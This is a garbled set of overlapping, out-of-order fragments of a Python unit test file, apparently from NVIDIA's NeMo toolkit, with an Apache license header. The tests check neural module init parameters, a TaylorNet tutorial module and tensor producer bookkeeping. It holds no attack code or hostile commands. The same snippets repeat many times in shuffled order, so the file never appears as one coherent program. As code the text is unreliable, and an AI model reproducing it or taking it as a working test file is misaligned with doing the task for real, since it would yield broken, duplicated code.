"= loss(predictions=y_pred, target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\":",
"ChannelType, NeuralType from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3):",
"tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's name: x was used y_pred",
"law or agreed to in writing, software # distributed under the License is",
"Mockup abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm =",
"the License for the specific language governing permissions and # limitations under the",
"nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup import NeMoUnitTest class",
"compliance with the License. # You may obtain a copy of the License",
"= nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) #",
"4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), )",
"producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real",
"x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss()",
"look bad/useless - redo import unittest import nemo from nemo.backends.pytorch.nm import TrainableNM from",
"import ChannelType, NeuralType from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2,",
"3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"],",
"on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,",
"name: x was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self):",
"! /usr/bin/python # -*- coding: utf-8 -*- # ============================================================================= # Copyright 2020 NVIDIA.",
"this file except in compliance with the License. # You may obtain a",
"class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self,",
"that real port's name: x was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"),",
"from nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self,",
"the Apache License, Version 2.0 (the \"License\"); # you may not use this",
"= TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def",
"============================================================================= # Copyright 2020 NVIDIA. All Rights Reserved. # # Licensed under the",
"you may not use this file except in compliance with the License. #",
"2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\")",
"NVIDIA. All Rights Reserved. # # Licensed under the Apache License, Version 2.0",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self)",
"TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4)",
"= nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source()",
"import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1):",
"def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn",
"y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss)",
"self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10)",
"= simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self):",
"ANY KIND, either express or implied. # See the License for the specific",
"= TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self):",
"self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg =",
"self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params",
"self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__",
"permissions and # limitations under the License. # ============================================================================= # TODO: These test",
"import unittest import nemo from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import ChannelType, NeuralType",
"{\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer, data_source) self.assertEqual(y.producer_args, {})",
"limitations under the License. # ============================================================================= # TODO: These test look bad/useless -",
"Reserved. # # Licensed under the Apache License, Version 2.0 (the \"License\"); #",
"self).__init__() class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) ->",
"in compliance with the License. # You may obtain a copy of the",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"],",
"name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's",
"License. # ============================================================================= # TODO: These test look bad/useless - redo import unittest",
"# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #",
"use this file except in compliance with the License. # You may obtain",
"ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's name:",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x})",
"self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer, data_source) self.assertEqual(y.producer_args, {}) self.assertEqual(x.producer, data_source) self.assertEqual(x.producer_args, {})",
"not use this file except in compliance with the License. # You may",
"WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See",
"from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__()",
"init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm =",
"data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y =",
"test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"],",
"See the License for the specific language governing permissions and # limitations under",
"BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\":",
"License, Version 2.0 (the \"License\"); # you may not use this file except",
"# Licensed under the Apache License, Version 2.0 (the \"License\"); # you may",
"loss(predictions=y_pred, target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y})",
"IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"# Mockup abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"__init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp() # Mockup",
"= nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(),",
"distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"port's name: x was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def",
"TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params =",
"init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in",
"TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm",
"test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y",
"super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp() # Mockup abstract methods.",
"def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2)",
"OF ANY KIND, either express or implied. # See the License for the",
"from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup import NeMoUnitTest",
"# ============================================================================= # Copyright 2020 NVIDIA. All Rights Reserved. # # Licensed under",
"2.0 (the \"License\"); # you may not use this file except in compliance",
"redo import unittest import nemo from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import ChannelType,",
"<reponame>borisdayma/NeMo<gh_stars>0 # ! /usr/bin/python # -*- coding: utf-8 -*- # ============================================================================= # Copyright",
"# you may not use this file except in compliance with the License.",
"y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1)",
"for the specific language governing permissions and # limitations under the License. #",
"agreed to in writing, software # distributed under the License is distributed on",
"def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp() #",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the",
"producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that",
"loss = nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred,",
"-*- # ============================================================================= # Copyright 2020 NVIDIA. All Rights Reserved. # # Licensed",
"simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params",
"methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params",
"set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"],",
"nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note",
"(the \"License\"); # you may not use this file except in compliance with",
"axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's name: x",
"None: super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set() def",
"test look bad/useless - redo import unittest import nemo from nemo.backends.pytorch.nm import TrainableNM",
"was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source =",
"# # Unless required by applicable law or agreed to in writing, software",
"import nemo from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup",
"# check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module)",
"30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self):",
"express or implied. # See the License for the specific language governing permissions",
"# note that real port's name: x was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer,",
"= set() def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"],",
"data_source() y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer,",
"Version 2.0 (the \"License\"); # you may not use this file except in",
"# Unless required by applicable law or agreed to in writing, software #",
"self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params =",
"except in compliance with the License. # You may obtain a copy of",
"TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self, var2):",
"and # limitations under the License. # ============================================================================= # TODO: These test look",
"by applicable law or agreed to in writing, software # distributed under the",
"All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the",
"the specific language governing permissions and # limitations under the License. # =============================================================================",
"class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__ =",
"= set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params",
"nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B',",
"def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None,",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"# limitations under the License. # ============================================================================= # TODO: These test look bad/useless",
"TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1)",
"10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params",
"self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"],",
"= TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"],",
"either express or implied. # See the License for the specific language governing",
"2020 NVIDIA. All Rights Reserved. # # Licensed under the Apache License, Version",
"= simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\")",
"software # distributed under the License is distributed on an \"AS IS\" BASIS,",
"'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's name: x was",
"= nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y)",
"def __init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2,",
"-*- coding: utf-8 -*- # ============================================================================= # Copyright 2020 NVIDIA. All Rights Reserved.",
"def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn",
"# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"may not use this file except in compliance with the License. # You",
"License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS",
"tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module =",
"trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred = trainable_module(x=x)",
"nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred = trainable_module(x=x) loss_tensor =",
"self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def",
"# -*- coding: utf-8 -*- # ============================================================================= # Copyright 2020 NVIDIA. All Rights",
"Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not",
"an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to",
"import TrainableNM from nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM):",
"NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def",
"simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4)",
"self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')),",
"- redo import unittest import nemo from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import",
"var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp() # Mockup abstract",
"super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self):",
"language governing permissions and # limitations under the License. # ============================================================================= # TODO:",
"# ! /usr/bin/python # -*- coding: utf-8 -*- # ============================================================================= # Copyright 2020",
"file except in compliance with the License. # You may obtain a copy",
"tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class",
"__init__(self, var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2)",
"TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self):",
") tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's name: x was used",
"real port's name: x was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg)",
"def setUp(self) -> None: super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__",
"check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args,",
"# ============================================================================= # TODO: These test look bad/useless - redo import unittest import",
"unittest import nemo from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import ChannelType, NeuralType from",
"target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer,",
"self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred, \"target\": y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer, data_source) self.assertEqual(y.producer_args,",
"test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3)",
"set() def test_default_init_params(self): simple_nm = TestNM1(var1=1) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2)",
"test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None,",
"y}) self.assertEqual(y_pred.producer, trainable_module) self.assertEqual(y_pred.producer_args, {\"x\": x}) self.assertEqual(y.producer, data_source) self.assertEqual(y.producer_args, {}) self.assertEqual(x.producer, data_source) self.assertEqual(x.producer_args,",
"under the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES",
"simple_nm = TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30)",
"License for the specific language governing permissions and # limitations under the License.",
"nemo from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup import",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"-> None: super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set()",
"nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred",
"TrainableNM from nemo.core.neural_types import ChannelType, NeuralType from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def",
"the License. # You may obtain a copy of the License at #",
"simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg",
"TestNeuralModulesPT(NeMoUnitTest): def setUp(self) -> None: super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__ = set()",
"nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's name: x was used y_pred = tn(x=x_tg)",
"= nemo.backends.pytorch.tutorials.TaylorNet(dim=4) # note that real port's name: x was used y_pred =",
"to in writing, software # distributed under the License is distributed on an",
"\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"NeuralType from tests.common_setup import NeMoUnitTest class TestNM1(TrainableNM): def __init__(self, var1=1, var2=2, var3=3): super(TestNM1,",
"loss_tensor = loss(predictions=y_pred, target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args, {\"predictions\": y_pred,",
"# Copyright 2020 NVIDIA. All Rights Reserved. # # Licensed under the Apache",
"self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params = simple_nm.init_params",
"# distributed under the License is distributed on an \"AS IS\" BASIS, #",
"\"hello\") def test_constructor_TaylorNet(self): tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor(",
"implied. # See the License for the specific language governing permissions and #",
"simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30)",
"\"License\"); # you may not use this file except in compliance with the",
"governing permissions and # limitations under the License. # ============================================================================= # TODO: These",
"var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 10) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 30) def test_nested_init_params(self): simple_nm",
"is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF",
"var1=1, var2=2, var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class",
"Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the \"License\");",
"obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"required by applicable law or agreed to in writing, software # distributed under",
"/usr/bin/python # -*- coding: utf-8 -*- # ============================================================================= # Copyright 2020 NVIDIA. All",
"= simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10,",
"note that real port's name: x was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn)",
"def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x,",
"test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn =",
"applicable law or agreed to in writing, software # distributed under the License",
"============================================================================= # TODO: These test look bad/useless - redo import unittest import nemo",
"= trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) # check producers' bookkeeping self.assertEqual(loss_tensor.producer, loss) self.assertEqual(loss_tensor.producer_args,",
"setUp(self) -> None: super().setUp() # Mockup abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ =",
"nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) #",
